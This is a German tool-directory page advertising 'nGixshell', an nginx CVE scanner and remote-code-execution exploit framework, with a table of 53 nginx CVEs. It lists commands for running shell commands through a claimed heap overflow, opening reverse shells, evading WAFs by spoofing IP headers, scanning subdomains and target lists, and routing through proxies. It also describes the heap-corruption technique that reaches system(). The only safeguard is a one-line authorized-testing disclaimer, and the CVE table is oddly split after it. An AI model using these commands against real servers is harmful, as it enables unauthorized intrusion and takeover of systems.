Tool-Verzeichnis
Kategorien
nGixshell — nginx CVE-Scanner + RCE-Exploit-Framework (CVE-2026-42945 + 16 weitere) | Kitploit
Tools / GitHub / mateusverass / ngixshell
21 8 6 vor 3 MonatenEntdecken Sie die meistgenutzten Tools unserer Community.
Letzte 7 Tage Letzte 30 Tage
mateusverass/ngixshell
nGixshell nginx CVE-Scanner + RCE-Exploit-Framework (CVE-2026-42945 + 16 weitere)
nGixShell ist ein nginx-CVE-Scanner und RCE-Exploit-Framework. Es enthält einen funktionsfähigen Proof-of-Concept für CVE-2026-42945 – einen kritischen Heap-Buffer-Overflow in ngx_http_rewrite_module – sowie einen Scanner, der 53 nginx-CVEs mit automatisierten HTTP-Probes, Fingerprinting, WAF-Erkennung/Umgehung, Web-Security-Auditing und Report-Erstellung abdeckt.
Keine externen Abhängigkeiten. Reine Python-3-Standardbibliothek.
Kurzstart
# Das verwundbare Labor starten
docker compose -f env/docker-compose.yml up -d
# Automatik-Modus – Fingerprinting + CVE-Scan + Web-Audit
python3 ngixshell.py 127.0.0.1:19321
# Einen Befehl via RCE ausführen (CVE-2026-42945)
python3 ngixshell.py 127.0.0.1:19321 --cmd 'id'
# Eine Reverse-Shell einrichten (IP wird automatisch erkannt)
python3 ngixshell.py 127.0.0.1:19321 --shell --shell-type bash --upgrade-shell
# WAF erkennen und umgehen, dann scannen
python3 ngixshell.py 127.0.0.1:19321 --waf-bypass
# Subdomain-Scan
python3 ngixshell.py --subdomain-scan example.com --scan-port 443
# Mehrere Ziele aus einer Datei
python3 ngixshell.py --target-file hosts.txt --json --html-report results.html
Keine Flags erforderlich – die Ausrichtung des Tools auf ein Ziel führt alles automatisch aus.
TLS wird automatisch erkannt . nginx wird selbst bei server_tokens off ge-fingerprinted.
Verwendung python3 ngixshell.py [ZIEL] [OPTIONEN]
ZIEL-Formate:
127.0.0.1
192.168.1.10:8080
http://192.168.1.10:8080
https://target.local
Modi Flag Beschreibung (kein) Auto – Fingerprinting + CVE-Scan + Web-Audit--cmd 'CMD'Befehl via CVE-2026-42945 RCE ausführen --cmd-file DATEIBefehle aus Datei ausführen (mit ; verbunden) --shellEine Reverse-Shell starten --shell-type TYPPayload: bash python perl php nc powershell (Standard: python) --upgrade-shellAutomatisch PTY-Upgrade nach Shell-Verbindung senden --subdomain-scan DOMAINVerwundbares nginx auf Subdomains finden --cve CVE-IDEine bestimmte CVE testen --list-cvesAlle 53 CVEs mit CVSS und Probe-Info ausgeben --list-candidatesHeap-Adress-Kandidaten ausgeben --dry-runNur Fingerprinting + Scan, kein Exploit --target-file DATEIMehrere Hosts aus einer Datei scannen
WAF-Erkennung & Umgehung Flag Beschreibung --waf-detectWAF vor dem Scan erkennen --waf-bypassAlle Umgehungstechniken aktivieren (führt auch Erkennung aus) --waf-ip IPDiese IP in Umgehungs-Headern vortäuschen (Standard: zufällige RFC1918)
Umgehungstechniken (alle aktiv, wenn --waf-bypass gesetzt ist):
Technik Detail IP-Spoofing X-Forwarded-For, X-Real-IP, X-Originating-IP, True-Client-IP, X-Remote-IP, X-Client-IPUA-Rotation 11 echte Browser-/Bot-User-Agents, pro Anfrage zufällig Pfadverschleierung Doppelslash, /./-Padding, Prozentkodierung, Groß-/Kleinschreibungsvariation Header-Case-Shuffle Zufällige Groß-/Kleinschreibung der Header-Namen, um WAF-Mustererkennung zu brechen
Erkannte WAFs: Cloudflare, AWS WAF, Akamai, Imperva/Incapsula, ModSecurity, F5 BIG-IP ASM, Sucuri, Barracuda, NAXSI, Fastly, Wordfence
Web-Audit Wird im Scan-Modus automatisch ausgeführt. Alle Module können einzeln übersprungen werden.
Flag Beschreibung --skip-headersHTTP-Sicherheitsheader-Audit überspringen --skip-pathsPfad-/Datei-Erkennung überspringen --skip-vhostsVirtual-Host-Aufzählung überspringen --skip-tlsTLS-Protokoll-Audit überspringen --path-wordlist DATEIZusätzliche zu prüfende Pfade (einer pro Zeile)
Header-Audit – HSTS, CSP, X-Frame-Options, X-Content-Type-Options, Referrer-Policy, Permissions-Policy, versionsleakende Header
Pfad-Erkennung – 50+ Pfade; Sentinel-Probe eliminiert Fehlalarme durch Catch-all-403/301-Regeln
Virtual-Host-Aufzählung – erfordert sowohl Status- als auch Body-Unterschied, um Fehlalarme durch Standard-Blockierungen zu vermeiden
TLS-Audit – Testet TLS 1.0–1.3 Unterstützung, Zertifikatsablauf und Selbstsignierungs-Erkennung
stub_status – Analysiert aktive Verbindungsmetriken von /nginx_status, falls freigegeben
Verbindung Flag Beschreibung --port PORTPort überschreiben --tlsTLS erzwingen (wird standardmäßig automatisch erkannt) --proxy URLProxy: http://, https://, socks5://
HTTP Flag Beschreibung --user-agent UABenutzerdefinierter User-Agent --auth USER:PASSHTTP-Basisauthentifizierung --cookie WERTCookie-Header --header NAME:WERTZusätzlicher Header (wiederholbar)
Rate / Timing Flag Beschreibung --rate-limit RPSMaximale Anfragen pro Sekunde --jitter MSZufällige Verzögerung 0–MS ms zwischen Anfragen --retry NUnklare Probes wiederholen (Standard: 1) --timeout-multiplier XAlle Timeouts skalieren (Standard: 1.0)
Ausgabe Flag Beschreibung --output DATEILog in DATEI schreiben --jsonJSON-Zusammenfassung am Ende ausgeben --html-report [DATEI]HTML-Report generieren (Standard: ngixshell_<host>_<ts>.html) --verboseDebug-Ausgabe
CVE-Abdeckung 53 Einträge von 2009–2026. Sortiert nach CVSS.
CVE CVSS Komponente Beschreibung CVE-2026-42945 9,8 KRITISCH rewrite Heap-Overflow → RCE (ausgenutzt ) CVE-2026-42946 8,1 HOCH rewrite Speicherkorruption (gleiche Sicherheitsmeldung) CVE-2022-41741 7,8 HOCH mp4 Speicherkorruption via bösartigem mp4 CVE-2016-1247 7,8 HOCH packaging Symlink-Privilegieneskalation über Logdatei CVE-2021-23017 7,7 HOCH resolver Off-by-One-Heap-Überschreibung CVE-2026-40701 7,5 HOCH request Speicherkorruption in der Anfrageverarbeitung CVE-2026-42934 7,5 HOCH request Speicherkorruption (gleiche Sicherheitsmeldung) CVE-2026-27784 7,5 HOCH mp4 Pufferüberlauf via manipuliertem mp4 CVE-2026-32647 7,5 HOCH mp4 Pufferüberlauf (verwandt mit obigem) CVE-2024-24990 7,5 HOCH HTTP/3 Use-after-free im QUIC-Modul CVE-2024-24989 7,5 HOCH HTTP/3 NULL-Pointer-Dereferenzierung in QUIC CVE-2024-31079 7,5 HOCH HTTP/3 Stack-Overflow im QUIC-Encoder CVE-2024-32760 7,5 HOCH HTTP/3 Pufferüberschreibung via HEADERS-Frame CVE-2022-41742 7,5 HOCH mp4 Heap-Speicher-Offenlegung CVE-2017-7529 7,5 HOCH range filter Integer-Überlauf → Out-of-bounds-Lesen CVE-2016-0746 7,5 HOCH resolver Use-after-free via manipulierter DNS-Antwort CVE-2014-0133 7,5 HOCH SPDY Heap-Overflow in der SPDY-Implementierung CVE-2014-0088 7,5 HOCH SPDY Speicherkorruption in SPDY CVE-2013-4547 7,5 HOCH core Leerzeichen+NUL-URI-Bypass CVE-2013-2028 7,5 HOCH core Chunked-Encoding-Stack-Overflow
Der Bug (CVE-2026-42945) Die Rewrite-Script-Engine von nginx verwendet ein Zwei-Durchgangs -Modell: Puffergröße berechnen, dann kopieren. Das Flag is_args wird auf der Haupt-Engine gesetzt, wenn ein rewrite-Ersatz ? enthält, aber der Längenberechnungsdurchlauf läuft auf einer frisch genullten Sub-Engine:
Längendurchlauf – sieht is_args = 0 → gibt rohe Erfassungslänge zurück
Kopierdurchlauf – sieht is_args = 1 → ruft ngx_escape_uri(NGX_ESCAPE_ARGS) auf, erweitert jedes unsichere Byte auf 3 Bytes
Der Kopiervorgang überläuft den zu kleinen Heap-Puffer mit angreifergesteuerten URI-Daten. Die Ausnutzung korrumpiert einen benachbarten ngx_pool_t-Cleanup-Zeiger über Cross-Request-Heap-Feng-Shui und leitet ihn zu einer gefälschten ngx_pool_cleanup_s um, die bei der Pool-Zerstörung system() aufruft.
Betroffene Versionen Produkt Verwundbar Gefixt NGINX Open Source 0.6.27 – 1.30.0 1.31.0, 1.30.1 NGINX Plus R32 – R36 R36 P4, R35 P2, R32 P6
Labor-Setup Getestet auf Ubuntu 24.04 LTS. Erfordert Docker und Python 3.8+.
# Das verwundbare Labor starten (nginx 1.25.3)
docker compose -f env/docker-compose.yml up -d
# Vollständiger Scan
python3 ngixshell.py 127.0.0.1:19321
# RCE mit JSON-Ausgabe
python3 ngixshell.py 127.0.0.1:19321 --cmd 'id' --json
# Reverse-Shell – Bash-Payload, automatisches PTY-Upgrade
python3 ngixshell.py 127.0.0.1:19321 --shell --shell-type bash --upgrade-shell
# WAF-Bypass-Scan mit vorgetäuschter IP
python3 ngixshell.py 127.0.0.1:19321 --waf-bypass --waf-ip 10.10.10.1
# Über SOCKS5-Proxy
python3 ngixshell.py 192.168.1.10 --proxy socks5://127.0.0.1:9050
# Subdomain-Scan mit Ratenbegrenzung
python3 ngixshell.py --subdomain-scan example.com --scan-port 443 --rate-limit 10
# Mehrere Ziele, JSON-Ausgabe, HTML-Report
python3 ngixshell.py --target-file hosts.txt --json --html-report results.html
Haftungsausschluss Nur für autorisierte Sicherheitstests, CTF-Wettbewerbe und Forschung.
CVE-2012-1180 7,5 HOCH proxy Use-after-free im Proxy-Modul
CVE-2009-3555 7,5 HOCH SSL TLS-Neuverhandlungsinjektion (MITM)
CVE-2009-2629 7,5 HOCH core Puffer-Unterlauf in der URI-Analyse
CVE-2026-42926 6,5 MITTEL HTTP/2 Request-Splitting via Proxy
CVE-2026-27654 6,5 MITTEL WebDAV Heap-Overflow im DAV-Modul
CVE-2026-28753 6,5 MITTEL mail Header-Injektion im Mail-Proxy
CVE-2026-1642 6,5 MITTEL proxy SSL-Upstream-Session-Reuse-Leak
CVE-2019-9511 6,5 MITTEL HTTP/2 Data-Dribble-CPU/Memory-DoS
CVE-2012-2089 6,8 MITTEL mp4 Pufferüberlauf via mp4-Anfrage
CVE-2018-16845 5,5 MITTEL mp4 Integer-Unterlauf → Absturz + Offenlegung
CVE-2019-20372 5,3 MITTEL proxy HTTP-Request-Schmuggel
CVE-2026-40460 5,3 MITTEL HTTP/3 QUIC-Verbindungsspoofing
CVE-2026-28755 5,3 MITTEL SSL Speicher-Offenlegung in der OCSP-Verarbeitung
CVE-2025-23419 5,3 MITTEL SSL TLS-Sitzungswiederaufnahme-Zertifikatsumgehung
CVE-2024-35200 5,3 MITTEL HTTP/3 NULL-Pointer-Dereferenzierung
CVE-2024-34161 5,3 MITTEL HTTP/3 Speicher-Offenlegung
CVE-2016-4450 5,3 MITTEL core NULL-Pointer via chunked Request-Body
CVE-2016-0742 5,0 MITTEL resolver Ungültiger Pointer via manipuliertem UDP-Paket
CVE-2016-0747 5,0 MITTEL resolver Unzureichendes CNAME-Auflösungslimit
CVE-2014-3556 5,0 MITTEL mail STARTTLS-Befehlsinjektion
CVE-2013-2070 5,3 MITTEL proxy Backend-Antwort-Offenlegung
CVE-2011-4963 5,0 MITTEL access IPv6-Literal-Zugriffskontrollumgehung
CVE-2011-4315 5,0 MITTEL resolver Heap-Overflow via manipulierter DNS-Antwort
CVE-2009-3896 5,0 MITTEL core NULL-Pointer-Dereferenzierung DoS
CVE-2025-53859 4,3 MITTEL mail SMTP-Befehlsinjektion
CVE-2014-3616 4,3 MITTEL SSL TLS-SNI-Virtual-Host-Verwirrung
CVE-2026-27651 4,3 MITTEL mail NULL-Pointer-Dereferenzierung im Mail-Proxy
CVE-2019-9513 4,3 MITTEL HTTP/2 Resource-Loop-CPU-DoS
CVE-2019-9516 4,3 MITTEL HTTP/2 0-Length-Headers-Speichererschöpfung
CVE-2018-16843 4,3 MITTEL HTTP/2 Übermäßiger Speicherverbrauch
CVE-2018-16844 4,3 MITTEL HTTP/2 Übermäßige CPU via SETTINGS-Frames
CVE-2024-7347 4,7 MITTEL mp4 Out-of-bounds-Lesen
CVE-2009-3898 4,9 MITTEL WebDAV Directory-Traversal via COPY/MOVE